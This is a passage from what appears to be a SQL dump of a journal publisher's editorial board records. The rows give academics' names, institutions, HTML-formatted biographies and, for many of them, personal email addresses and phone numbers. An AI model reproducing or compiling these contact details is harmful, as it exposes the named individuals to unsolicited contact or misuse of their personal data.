Cancer Biotherapy and Radiopharmaceuticals; Clinical Trials and Drug Interactions; Annals of Neurology &amp; Neurosurgery; Science World Journal of Cancer Science and Therapy; DOA Journal of Surgery; DOA Journal of Clinical and Medical Case Reports; Clinical Case Reports; Biomedical Research &amp; Experimental Sciences; Current Analysis on Oncology; Scient Journal of Cancer Science; Biomedical Research &amp; Experimental Sciences; International Journal of Surgery and Research; Family Medicine and Primary Care; Clinical Oncology Research Journal; Journal of Biomarker Research and Studies; Cases Med Research Journal; Journal of Neurology and Epidemiology; Neurology and Neurorehabilitation Research; Global Scientific Research Journal of Surgery, </em><em>International Journal of Tropical Medicine and Health;</em> <em>Annals Journal &amp; Bulletin Journal;</em> <em>Enliven: Clinical Case Reports; Archives of Community and Family Medicine;</em> <em>Advances in Pharmacology &amp; Clinical Trials; Chemotherapy Research Journal; Journal of Natural Products Research Updates; Open Journal for Surgery Case Reports; Archives of Surgery; Journal of Emergency, Critical Care and Diagnostic Management; Chemotherapy Research Journal; Preventive Medicine Research;&nbsp; International Journal of Clinical Pathology and Diagnosis; Global Scientific Research Journal of Public Health; Journal of surgery and advanced surgical techniques; Journal of Recent Advancement in Food Science and Nutrition Research; Journal of Regional Anesthesia and Intensive Care; Current Analysis on Oncology; Global Journal of Human Anatomy and Physiology Research; Signal and Information Processing; Spinal Diseases and Research; Journal of Clinical and Medical Imaging; International Technology and Science Publications; International Journal of Thyroid Disorders and Therapy; Postgraduate Medicine; Journal of Infectious Diseases and Therapeutics; Medical Frontiers; Journal of Rheumatology &amp; Arthritis Research; Journal of Human Anatomy; American Journal of Microbiology &amp; Biochemistry; Journal of Autoimmune Diseases and Rheumatology; Journal of Clinical and Laboratory Investigation Updates; Journal of Family Medicine &amp; Public Health;&nbsp; Journal of Palliative Medical Care &amp; Research; Management Science and Engineering; LOJ Medical Sciences; Journal of Surgical Science and Operative Care; European Journal of Rheumatology; CPQ Medicine; Online Journal of Otolaryngology and Rhinology; Innovations in Rehabilitation Research.</em></p>\r\n\r\n<p>Professor Ferlito has been awarded <em>ad hominem</em> fellowship from the Royal College of Surgeons of Edinburgh and <em>ad eundem</em> fellowship from the Royal College of Surgeons of England, Glasgow, Ireland and Dental Surgery of the Royal College of Surgeons of England. He is a fellow or a member of the American College of Surgeons, the Royal College of Pathologists, the Royal Society of Medicine of London, the American Otological Society, the American Laryngological Association, the Collegium Oto-Rhino-Laryngologicum Amicitiae Sacrum, the American Laryngological Rhinological and Otological Association, the American Society for Head and Neck Surgery, the Society of Head and Neck Surgeons, the American Broncho-Esophagological Association, the American Rhinologic Society, the Association for Research in Otolaryngology, the American Academy of Otolaryngology-Head and Neck Surgery, the International Broncho-Esophagological Society, the Oto-Rhino-Laryngological Society of Japan, the Japan Laryngological Association, the American Association for the Advancement of Science, the Hungarian Association of Otorhinolaryngologists (Honorary), the Slovenian Association of Otorhinolaryngologists, the Slovak Society of Otolaryngology-Head and Neck Surgery (Honorary), the Spanish Society of Otorhinolaryngology-Head and Neck Surgery (Honorary), the Israeli Society of Head and Neck Surgery and Oncology, the Hong Kong College of Otolaryngologists, the New York Academy of Sciences, the Laryngeal Cancer Association, Deutsche Gesellschaft f&uuml;r Hals-Nasen-Ohren-Heilkunde, Kopf- und Hals-Chirurgie, the American Society for Clinical Pathology, the College of American Pathologists, the International Academy of Pathology, the International Academy of Oral Oncology and the Interventional Oncology Society.</p>\r\n\r\n<p>Professor Ferlito has been honored with several distinctions from professional ENT Societies including two Presidential Citations from the American Laryngological Association for his contributions made to the field of laryngology and the association. He has been appointed as the International Liaison for Corresponding Fellows of the American Laryngological Association. He is also a Fellowship External Examiner in Otorhinolaryngology at the Royal College of Surgeons in Ireland.</p>\r\n\r\n<p>He has been invited as visiting professor at the Departments of Otolaryngology of the Universities of Ljubljiana, Valencia, Zagreb, Yale, Pittsburgh, Amsterdam, San Francisco, Hong Kong, Seoul and Tokyo, at the House Ear Institute of Los Angeles, at the Memorial Sloan-Kettering Cancer Center and Montefiore Medical Center of New York. He collaborated as a member of the World Health Organization&rsquo;s Committee on Histological Typing of Tumours of the Upper Respiratory Tract and Ear. He is also a member of the Laryngeal Cancer Association&rsquo;s Committee on the Classification of Laryngeal Cancer. He was consultant to Yale University.</p>\r\n\r\n<p>Professor Ferlito has delivered prestigious lectures all over the world. In 2006 he gave the 2<sup>nd</sup> Morrison Lecture in San Francisco and the 19<sup>th</sup> Som Lecture in New York. He has divided his professional life between clinical practice, teaching and research. One of his chief interests is the promotion of international cooperation in head and neck surgery, oncology and cancer research.</p>\r\n',1,'2018-08-09 11:24:41','2019-02-13 17:16:54',1),(244,24,20,'1533795189.jpg','Mahaveer Mehta','drmmehta@emirates.net.ae','97150-4561999','Chairman','Editorial board member','United Arab Emirates','Dr.Mahaveer Mehta Medical Center Dubai ','06','<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Mahaveer Mehta is working as Dermatologist and Medical director in his own medical Center in Dubai since May 1990. Prior to this he was Chairman of the Dept. of Dermatology at Qatar armed Forces medical unit and Chairman of Dermatology at International Hospital Bahrain. He has also worked as Faculty member in Al Fateh University, Tripoli, Libya and SMS medical college, Jaipur. Dr. Mehta is internationally well known in the field of Dermatology and Lasers. He is a pioneer in introducing Lasers to the Middle East. He is successfully practicing in Dubai since 1990.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">His clean reputation is not limited to just UAE but spread across seven seas. He is one of the strongest promoters of Health Tourism in Dubai.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Mehta is a Chair and Speaker at several international dermatological and laser conferences. He is a member of Several Dermatology and Laser societies in the world.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">He is Board of Director, The Dermatologic &amp; Aesthetic Surgery International League (DASIL) 2013, 2014, 2015 and 2016.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">He is Congress President for forth coming USA based nonprofit organization annual conference DASIL Dermatology Aesthetic surgery International league held in Dubai in Oct 2016 with support from Dubai Tourism department, Government of Dubai.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;Dr. Mehta is Chair, Scientific committee ICAAM 2013, 2014, 2015 and 2016 (International Congress in Aesthetic and anti-ageing Medicine)</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">He is former Member advisory committee Gender Aesthetic Congress Asia 2014 organized by American Academy of Aesthetic Medicine International (AAAM)</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">He is Mentor/Host, International Travelling Mentorship Program (ITMP), American Society of Dermatologic Surgery (ASDS). He is a recipient of prestigious awards such as Physician Recognition Award from American Medical Association and Continuing Medical Education Award from American Academy of Dermatology. He is member Editorial Board of Journal of Clinical and Cosmetic Dermatology USA, Member Editorial Board Journal of Procedural Dermatology and Former Member of the editorial board of Gulf medical college health journal</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">received outstanding contribution Medal 2016 at international Dermatology conference DASIL held in October 2016 in the field of Dermatology from (ASDS) American Society of Dermatology by Prof Lawrence field Chief of International Mentorship program ASDS USA. I am invited Chair and Faculty for World congress of Cosmetic Dermatology to be held in Bengaluru, India in May 2017.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Recipient of outstanding contribution Medal By president of Dermatology Aesthetic international league Dr. Michael Gold at annual conference.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">He received most prestigious Congress Ambassador Award from Dubai Tourism department for organizing ICAAM and DASIL conferences in Dubai. He is of Member Editorial Board few International Dermatology Journals.</span></span></p>\r\n',1,'2018-08-09 11:43:08','2018-08-09 11:43:08',1),(245,31,20,'1533795673.jpg','Mohd Hasnun Arif Hassan','mhasnun@ump.edu.my','','Senior Lecturer','Editorial board member','Malaysia','Universiti Malaysia Pahang','07','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Hassan earned his first degree in Mechanical Engineering from the Technische Hochschule Bingen in Germany in 2010. He then pursued a Master&rsquo;s degree in Mechanical Engineering at the University of Malaya in Kuala Lumpur, graduating with distinction in 2012. After that, he embarked on his PhD at the Universiti Malaysia Pahang (UMP), where he studied the head injuries sustained by soccer players due to heading. He completed his PhD study in 2016, then continued to serve UMP as a senior lecturer. He is currently the director of the Innovative Manufacturing, Mechatronics and Sports Laboratory (iMAMS), which was founded by Professor Zahari Taha, who was his supervisor for his doctoral study. His research interests include finite element modelling of the interaction between human and sports equipment, instrumentation of sports equipment, and injury prevention particularly with regard to sport. His work aims to apply engineering principles in sports to not only enhance the performance of an athlete, but also to prevent injuries.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interests:</strong></span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Sports Engineering</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Finite Element Analysis of Sports Equipment</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Head Injury Prevention</span></li>\r\n</ul>\r\n',1,'2018-08-09 11:51:13','2018-08-09 11:51:13',1),(246,35,20,'','Sukhvinder Singh','sukhvinder.singh@pioneer.com','','Project Manager - Agronomy','Editorial board member','USA','DuPont Pioneer','02','',1,'2018-08-09 23:40:34','2018-08-09 23:40:34',1),(247,35,20,'1533931177.jpg','Parmodh Sharma','sparmodh1@gmail.com','575-571-7589','Ph.D','Editorial board member','USA','New Mexico State University','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Parmodh Sharma is a Senior Statistician/Statistical Programmer working with PVR Technologies, Inc., USA. He received his B.S. (Agriculture) and M.S. (Soil Science) from Punjab Agricultural University, India. He received another M.S. (Applied Statistics) and Ph.D. (Plant and Environmental Sciences) from New Mexico State University, USA. He has more than 15 year&rsquo;s research experience in Soils and Agronomy. He is serving as a reviewer for several prominent agriculture journals. He is a member of Soil Science Society of America, Crop Science Society of America, American Society of Agronomy, and Sigma Xi Society. Currently he is working on statistical modeling in Plant and Life Sciences field.</span></p>\r\n\r\n<p><em><strong><span style=\"font-family:Times New Roman,Times,serif\">Research interest:</span></strong></em></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#1b1b1b\">Parmodh Sharma is interested in continuing his research efforts in soil and water resources management in water-limited and irrigated agricultural production systems, as well as other natural and managed ecosystems. His research interests particularly focus on applied soil physics, soil-water-plant-atmosphere relationships, spatial and temporal variability of soil properties, nitrogen leaching, irrigation systems, Water use efficiency, Nutrient use efficiency, under different land use and management systems at multiple scales. </span></span></p>\r\n',1,'2018-08-11 01:29:36','2018-08-11 01:32:25',1),(248,29,20,'1534080112.png','Wa Xian','wa.xian@uth.tmc.edu','','Assistant Professor ','Editorial board member','USA','McGovern Medical School, University of Texas Health Science Center','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Wa Xian received her Bachelor&rsquo;s degree in Biochemistry from Nankai University in China and Ph.D. degree in Molecular Genetics at the University of Texas Graduate School of Biomedical Sciences in Houston, focusing on master regulator genes of cell proliferation and lineage specification during early neural development. The support of a DOD breast cancer fellowship enabled Dr. Xian&rsquo;s postdoctoral studies with Prof. Jeffrey Rosen at the Baylor College of Medicine. There she used a combination of ligand-induced dimerization strategies and a mammary epithelial 3D culture system to address the role of fibroblast receptor tyrosine kinase signaling in the evolution of breast cancer. In 2008, Dr. Xian moved to Harvard Medical School under the direction of Prof. Christopher Crum, Director of Women&rsquo;s and Perinatal Pathology at the Brigham and Women&rsquo;s Hospital to study the origin and evolution of ovarian cancer. Dr. Xian continues to work very closely with Prof. Crum on the origins and chemotherapy resistance problem in high-grade ovarian cancer. In 2009, Dr. Xian was appointed Principal Investigator at the Institute of Medical Biology of the Agency for Science, Technology, and Research in Singapore, where she jointly oversaw a highly interactive group of postdoctoral fellows, graduate students, and research assistants with Prof Frank McKeon of the Genome Institute of Singapore devoted to the cloning of stem cells of regenerative tissues and using advanced technologies to understand the genetics of their self-renewal, commitment, and differentiation. In 2013, Dr. Xian returned to the US and initiated multiple projects related to inflammatory diseases and cancer with colleagues at the University of Connecticut Health Center. In 2015, Dr. Xian received the Rising Stars Award from the Cancer Prevention &amp; Research Institute of Texas (CPRIT) and was recruited to the Institute of Molecular Medicine at the University of Texas Health Science Center in Houston.</span></p>\r\n',1,'2018-08-12 18:52:08','2018-08-12 18:52:08',1),(249,24,20,'1534082528.jpg','Sergio A Cuevas-Covarrubias','sergiocuevasunam@gmail.com','','Head of Department of the Genetic Department ','Editorial board member','Mexico','Hospital General de Mexico','07','',1,'2018-08-12 18:58:06','2018-08-12 19:32:08',1),(250,29,20,'1534083092.jpg','Chung-Yi Chen','xx377@fy.edu.tw','+886-7-7811151-6200','Dean and Professor, School of Medical and Health Sciences','Editorial board member','Taiwan','Fooyin University','08','<p><span style=\"font-family:Times New Roman,Times,serif\">President Chen obtained PhD in 1999 at Kaohsiung Medical University. Currently teaches in Fooyin University, as most young is also the most senior professors and deans. The past 20 years, he has his scientific interests focused on life-threatening diseases, including traditional Chinese medicine used for cancer research. Analysis in recent year&rsquo;s major active ingredients such as ginger, pepper and cinnamon used in gastrointestinal cancer, anti-inflammatory, antioxidant, antiparasitic, and other topics. President Chen specializes in isolation, purification and structural analysis of active components of plants. President Chen directed against active constituents of oral cancer, liver cancer, and rectal cancer. President Chen was just over 45 years old, but his work has more than 220 papers, Taiwan one of the young talents. Professor Chen was invited more than 170 kinds of Journal editorial boards. Professor Chen won numerous awards at home and abroad, from 2015, was awarded the lifetime achievement award; from 2016 was awarded the health care &amp; biotechnology merit award. President Chen obtained PhD in 1999 at Kaohsiung Medical University. Currently teaches in Fooyin University, as most young is also the most senior professors and deans. The past 20 years, he has his scientific interests focused on life-threatening diseases, including traditional Chinese medicine used for cancer research. Analysis in recent year&rsquo;s major active ingredients such as ginger, pepper and cinnamon used in gastrointestinal cancer, anti-inflammatory, antioxidant, antiparasitic, and other topics. President Chen specializes in isolation, purification and structural analysis of active components of plants. President Chen directed against active constituents of oral cancer, liver cancer, and rectal cancer. President Chen was just over 45 years old, but his work has more than 220 papers, Taiwan one of the young talents. Professor Chen was invited more than 170 kinds of Journal editorial boards. Professor Chen won numerous awards at home and abroad, from 2015, was awarded the lifetime achievement award; from 2016 was awarded the health care &amp; biotechnology merit award.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><em><span style=\"color:#00b050\">Research Interest:</span></em></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Pharmacognosy,<a href=\"https://www.omicsonline.org/scholarly/cell-therapy-products-journals-articles-ppts-list.php\">&nbsp;Natural Product Research</a>, Chinese Medicine, Pharmacy</span></p>\r\n',1,'2018-08-12 19:41:31','2018-08-23 10:27:54',1),(251,35,20,'1534083602.png','Usman Pato','usmanpato@yahoo.com','','Professor in Food Microbiology ','Editorial board member','Indonesia','Universitas Riau','32','<p><span style=\"font-family:Times New Roman,Times,serif\">Usman Pato graduated from Agricultural Technology Program, Department of Agricultural Technology, Faculty of Agriculture, Hasanuddin University in 1989, Master of Food Science from Shinshu University, Japan in 1997 and Doctorate in Food Science at United Graduate School of Agricultural Sciences , Gifu University, Japan in 2000. Since 1 March 1990, joined as a lecturer at the Faculty of Non Degree Technology of Universitas Riau (UNRI) and lecturer at the Faculty of Agriculture UNRI on March 1, 1991. The author had been Chairman of the Diploma Program D3 Faculty of Agriculture UNRI in 2000 -2003, Head of Research Center of UNRI in 2003-2005, Vice Dean on Academic Affair Faculty of Agriculture UNRI year 2005-2009, Dean of Faculty of Agriculture UNRI 2009-2013 and 2013-2017. Member of Indonesian Food Technologist Association (PATPI) since 2000-present, Chairman of PATPI Branch of Riau (2012-present) and Professor in Food Microbiology at Faculty of Agriculture UNRI since July 1, 2005. Usman was recorded as an editor and reviewer in several national and international scientific journals. He also often attended national and international seminars held in Indonesia and abroad. To date, Usman and the research team have published more than 100 articles in national journals in Indonesia and reputable international journals indexed by Scopus, Google Scholar and others.</span></p>\r\n',1,'2018-08-12 19:50:02','2018-08-12 19:50:02',1),(252,35,20,'1534657393.jpg','Jose Luis da Silva Nunes','silva.nunes@ufrgs.br','','Department of Plant Science','Editorial board member','Brazil','BADESUL Development','33','<p><span style=\"font-family:Times New Roman,Times,serif\">I am a graduate in Agronomy from the Universidade Federal do Rio Grande do Sul (1998), a master&#39;s degree (completed in February 2003) and a Doctor (completed in February 2007) in Plant Sciences by the Universidade Federal do Rio Grande do Sul. I participated in the research groups &quot;Plant Propagation Systems&quot;, coordinated by Professors Paulo Vitor Dutra de Souza and Otto Carlos Koller and certified by the Federal University of Rio Grande do Sul, &quot;Integrated Production of Fruit of Caro&ccedil;o&quot;, coordinated by Professors Jos&eacute; Carlos Fachinello and Gilmar Arduino Bettio Marodin and certified by the Federal University of Pelotas, and &quot;Fruticultura de Clima Temperado - Rootstock and certified seedlings&quot;, coordinated by Professor Jos&eacute; Carlos Fachinello and certified by the Federal University of Pelotas. I have experience in the field of Agronomy, with emphasis on Fruticulture of Perennial and Deciduous, working mainly on the following topics: integrated and conventional fruit production, soil management, plant management, pest and phytopathogen management, plant propagation and production of quality fruit seedlings through the use of arbuscular mycorrhizal fungi, identification and classification of arbuscular mycorrhizal fungi, classification and post-harvest of fruits. He served as a supervisory agent for the Cooperativa de Professionais do Agroneg&oacute;cios (PROCOOP), for the Cooperativa de Profissionais de Neg&oacute;cios (CAMP TEC) and as technical responsible for the Portal Agrolink, the company JOVAL and the company FORTESUL. He acts as technical consultant for the Portal Agrolink and is an employee of BADESUL Development, a development agency, acting as Development Technician - Agronomist - at the Agribusiness Superintendency.</span></p>\r\n',1,'2018-08-14 10:03:57','2018-08-19 11:13:12',1),(253,26,20,'1534306003.jpg','Thiago Andrade de Macedo','thiago.macedo@incor.usp.br','11 26615084','Doctorate in Cardiology from Faculty of Medicine','Editorial board member','Brazil','University of Sao Paulo','06','<p><span style=\"font-family:Times New Roman,Times,serif\">Graduation in Medicine by the Federal University of Piau&iacute; (2002). Residency in Clinical Medicine.&nbsp; Institute of Assistance to the Public Servant of the State of S&atilde;o Paulo (2004-2006). Residency in Cardiology at the Heart Institute of the School of Medicine of the University of S&atilde;o Paulo - (FMUSP) - (2006-2008). Specialist in Cardiology by the Brazilian Society of Cardiology (2008). Specialist in Echocardiography&nbsp; by the Heart Institute - FMUSP (2011-2013) and by the Brazilian Society of Cardiology (2014). PhD in Cardiology, Faculty of Medicine, University of S&atilde;o Paulo (2012). Medical Coordinator of the Hospital TotalCor Emergency Service (2013-2014). American College of Cardiology Member (2014). Member of the Editorial Board of Scientific Periodicals: Clinical Updates of Cardiology&nbsp; and Medical and Clinical Research.&nbsp; Assistant&nbsp; Physician&nbsp; at the Hypertension Clinic Unit (InCor - HCFMUSP) and Collaborator at the Clinical Research Institute of the TotalCor&nbsp; Hospital,&nbsp; working&nbsp; in Secondary&nbsp; Hypertension,&nbsp; Echocardiography&nbsp; and Cardiac Emergencies.</span></p>\r\n',1,'2018-08-15 09:36:43','2018-08-15 09:36:43',1),(254,26,20,'1534306401.png','Alexander E. Berezin','aeberezin@gmail.com','+3806061006','Professor Chief of Cardiology Unit of Internal Medicine','Editorial board member','Ukraine','State Medical University','07','<p><span style=\"font-family:Times New Roman,Times,serif\">Alexander E. Berezin received the MD degree from State Medical University, Zaporozhye, Ukraine, in 1992. PhD degree in field of Heart Failure was earned in State Medical University, Zaporozhye, Ukraine in 1994. He is currently Professor of Medicine, Chief of Cardiology Unit of Internal Medicine Department at State Medical University, Zaporozhye, Ukraine. He became a Member (M) the Ukrainian Cardiology Association in 1997; M of the Ukrainian Heart Failure Association in 2000; M of Heart Failure Association of the ESC in 2004; M of European Acute Cardiovascular Care Association in 2010; M of W.G. on Atherosclerosis and Vascular Biology of the ESC in 2010; M of European Association of Percutaneous Cardiovascular Interventions in 2012; M of European Association for Cardiovascular Prevention and Rehabilitation in 2012, M of W.G. on Hypertension &amp; the Heart of the ESC in 2012. From 2002 to 2012, he was Associate Professor at the Internal Medicine Department at State Medical University, Ukraine. His research interest includes the fundamental study of biological markers of cardiovascular diseases, the implementation of visualization procedures and percutaneous cardiovascular interventions, the development of cardiovascular prevention and rehabilitation, especially in the field affected heart failure and coronary artery disease, as well as regenerative medicine. Based on this research and fellowship training he has received several awards and honors, such as: Award of The Cabinet of Ministers of Ukraine (2002), Honor of The Ukrainian Cardiology Association (2004). His previous publications are: 1. Berezin AE, Kremzer AA. Circulating osteopontin as a marker of early coronary vascular calcification in type two diabetes mellitus patients with known asymptomatic coronary artery disease. Atherosclerosis. 2013; 229: 475-481. 2. Berezin AE, Kremzer AA. Analysis of Various Subsets of Circulating Mononuclear Cells in Asymptomatic Coronary Artery Disease. J. Clin. Med. 2013, 2, 32-44. 3. Berezin AE, Kremzer AA. Bone-Related Circulating Proteins as Early Predictors of Coronary Atherosclerosis in Asymptomatic Patients with Known Coronary Artery Disease. Advanced Studies in Medical Sciences. 2013; 1 (4): 157 &ndash; 172 4. Berezin AE, Samura TA. Prognostic value of biological markers in myocardial infarction patients. Asian Cardiovascular and Thoracic Annals; 2013, 21(2): 142 &ndash; 150. 5. Berezin AE, Kremzer AA. Serum uric acid as a marker of coronary calcification in patients with asymptomatic coronary artery disease with preserved left ventricular pump function. Cardiology Research and Practice. 2013, Article ID 129369, 7 pages, http://dx.doi.org/10.1155/2013/129369. 6. Berezin AE, Kremzer AA, Samura T.A., Martovitskaya Yu.V. Association between Circulating Galectin-3 and Proangiogenic Mononuclear Progenitor Cells in Chronic Heart Failure Patients. JCvD. &ndash; 2014 [in press] 7. Berezin AE, Lisovaya OA. C-reactive protein in arterial hypertension after stroke. Asian Cardiovascular and Thoracic Annals; 2013 [in press]. October 29, 2013, doi: 10.1177/0218492313501163 8. Berezin AE, Kremzer AA, Samura T.A., Martovitskaya Yu.V. Circulating Endothelial-Derived Apoptotic Microparticles in the Patients with Ischemic Symptomatic Chronic Heart Failure: Relevance of Pro-Inflammatory Activation and Outcomes. Int Cardiovasc Res J.2014;8(3): [before print] 9. Berezin AE, Lisovaya OA. Predictive Value of Circulating Vascular Endothelial Growth Factor-1 in Arterial Hypertension Patients. Intern Med S. 2014; 11: 2-10. 10. Berezin AE. The Concept of Cell Therapy in Advanced Heart Failure: New Reality, Hope or Hype. Journal of Cardiology and Therapy. 2014; 1(3): 52-57. He is current Editor-in-Chief of Biological Markers and Guided Therapy. He is serving as an editorial member of several reputed journals like Ukranian Medical J, J Cardiology and Therapy (since 2013), Case Reports in Internal Medicine and expert Reviewers for journals like J Genetic Disorders and Genetic Reports; Obesity; Eur. J Clinical Investigations; J Food Science and Engineering; Case Reports in Internal Medicine; Diabetes, Metabolic Syndrome and Obesity: Targets and Therapy; British Journal of Medicine and Medical Research; Biomarkers in Medicine; Pediatrics &amp; Therapeutics; Journal of Vascular Medicine &amp; Surgery; Journal of Pain &amp; Relief; Cardiology and Angiology: An International Journal; Journal of Multiple Sclerosis; Journal of Clinical Case Reports; Journal of Haematology &amp; Thromboembolic Diseases, Acta Biochimica et Biophysica Sinica; Journal of Gerontology &amp; Geriatrics Research; Cloning &amp; Transgenesis.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest:</strong></em></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Coronary artery disease, Heart Failure, Atherosclerosis Hypertension, Prognosis, Biological Markers, Comorbidities, Metabolic disorders, Visualization procedures, Cardiovascular Prevention and Rehabilitation, and Vascular Biology</span></p>\r\n',1,'2018-08-15 09:43:21','2018-08-15 09:43:21',1),(255,24,20,'1534306897.jpg','Hong Wan','h.wan@qmul.ac.uk','0044 207 882 7139',' Immunobiology and Regenerative Medicine, Institute of Dentistry','Editorial board member','United Kingdom','Barts and The London School of Medicine and Dentistry','04','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr Hong Wan is a non-clinical senior lecturer in the Centre for Immunobiology and Regenerative Medicine, Institute of Dentistry, Barts and The London School of Medicine and Dentistry (SMD). Dr Wan&rsquo;s interest is focused on intercellular junctions of epithelia in health and disease. She initially worked on tight junction in pulmonary epithelial cells and its inhibitory role in the antigen presentation of house dust mite in asthma, and then she joined a dermatological team at St John&rsquo;s Institute of Dermatology, St Thomas&rsquo; Hospital working on hereditary skin disorders caused by defects in the desmosome genes. Finally, she moves to current centre focusing on cadherin signalling, in particular the desmosomal cadherin desmoglein-3 and its associated skin diseases, pemphigus and cancer.</span></p>\r\n',1,'2018-08-15 09:51:36','2018-08-21 21:02:39',1),(256,24,20,'1534307240.jpg','Farid Menaa','dr.fmenaa@gmail.com','','Professor, Director and Independent Consultant,Departments of Internal Medicine and Nanomedicine','Editorial board member','USA','California Innovations Corporation','001','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Farid Menaa is an inter- and multi-disciplinary professional with worldwide reputation. He has three international post-doctoral terms in Oncology, Dermatology, and Hematology; MBA Entrepreneurship and MD candidate. During his ongoing career, he has mainly contributed to the identification and functions of new human disease-causing genes and variants, formulated natural products for anti-aging and developed innovative theranostic strategies against cancers, cardiovascular diseases, diabetes, obesity and infectious diseases. He has more than 10 years&rsquo; experiences either in the academic, hospitals or industrial sectors. As Chief Scientific Officer and Vice-President R&amp;D at Fluorotronics, Inc. he actively participated in the development of the disruptive &ldquo;Carbon-Fluorine Spectroscopy&rdquo;. Dr. Menaa collaborates with various organizations worldwide. He is a member of several prestigious medical and scientific organizations and editorial boards in the field of medicine, science, technology and business, including in the nano-segment. He has authored more than 100 articles including research and review articles, books, book chapters, textbooks, proceedings, and has participated to over 200 scientific international events including as co-organizer, keynote speaker, chairman. Dr. Menaa&rsquo;s worldwide collaborations, holistic point of view and strong expertise in various fields led him to prevent, implement early diagnosis, and develop efficient and safer therapy.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest:</strong></em></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Farid Menaa&rsquo;s research interest includes Preventive Medicine, Personalized Medicine, Translational Medicine, Integrative Medicine, Green Medicine, Nanomedicine, Biotechnology, and Nanotechnology. </span></p>\r\n',1,'2018-08-15 09:57:19','2018-08-19 09:13:25',1),(257,23,20,'1534307730.jpg','Michal Bartoszcze','mabarto@mx.within.pl','48 601215106','Professor','Editorial board member','Poland','Biological Threats Identification and Countermeasure Center of MIHE','07','<p><span style=\"font-family:Times New Roman,Times,serif\">Education and Degrees: Graduated from Faculty of Veterinary Medicine, University School of Agriculture, Lublin, (Vet.Surg., 1966); doctor of veterinary sciences at the Agricultural-Technical University, Olsztyn ( Ph. D , 1974); doctor habilitatus (Assist. Prof., 1982); Assoc. Prof of MIHE (1997), Professor 2007.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Carrier: assistant at the Dept. of Virology, Veterinary Institute, Pu?awy (1966-1970); sr. assistant and adjunct at the Military Research Centre of Veterinary Services, Pu?awy ( ONBSW, 1970-1975); head of the Sanitary Epidemiological Laboratory, UNEF, Egypt (1975); head of Dept. of Microbiology and Epizootiology at ONBSW, Pu?awy (1976-1985); commandant of the Military Research Centre of Veterinary Service, Pu?awy (1985-89); deputy commandant of MIHE and head of ONBSW (1989-2002); deputy director of MIHE and head of Biological Threat Identification and Countermeasure Centre, Pu?awy (from 2002 &ndash; 2011, 2012 - professor of MIHE, invited lecturer at the University of Lublin.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Professional activity: initiator of research collaboration of MIHE and the US Army institutions (since 1996 technical project officer for the US-Poland Master Information Exchange Agreement); principal designer of the Army defence system against biological weapons; co-organizer of the first in Poland BSL-3 laboratory; co-director of the NATO Workshop of Advanced Technologies ( organised for the first time in Poland in 1997 ); co-organizer of the meeting of the FHTV COMEDS NATO panel and a number of local and international scientific conferences.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Publications (research interest): over 200 original and review papers on rapid methods of detection of biological agents, epidemiology, molecular biology, microbial genetics, bacterial resistance, virology, zoonoses, immunology, eradication of infectious diseases, ecology of microorganisms, new vaccines,&nbsp; modern treatment of infectious diseases and on countering biothreats.</span></p>\r\n',1,'2018-08-15 10:05:30','2018-08-15 10:05:30',1),(258,15,20,'1534309145.jpg','Fabio Antonio Piola Rizzante','fap17@case.edu','','Assistant Professor; Department of Restorative Dentistry','Editorial board member','USA','Case Western Reserve University - School of Dental Medicine','22','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Fabio Rizzante received his DDS in 2012 from Bauru School of Dentistry&ndash;University of Sao Paulo, Brazil. At the same school, he completed his Master&rsquo;s Degree in Operative Dentistry (2015) and PhD in Restorative Dentistry (2018). After dental school, Dr. Rizzante got advanced training in Periodontics and Implant Dentistry and start to lecture in undergraduate and advanced education programs focusing in Operative/Restorative Dentistry and Dental Materials. In 2016, Dr. Rizzante went to the University of Michigan as a Research Scholar in the BMS department and started to teach part-time in the same department in 2017. In August of 2017, Dr. Rizzante joined the department of Comprehensive Care at the School of Dental Medicine-Case Western Reserve University as a full-time Assistant Professor.</span></p>\r\n\r\n<p><em><strong><span style=\"font-family:Times New Roman,Times,serif\">Research interests:</span></strong></em></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Rizzante&rsquo;s current research interests 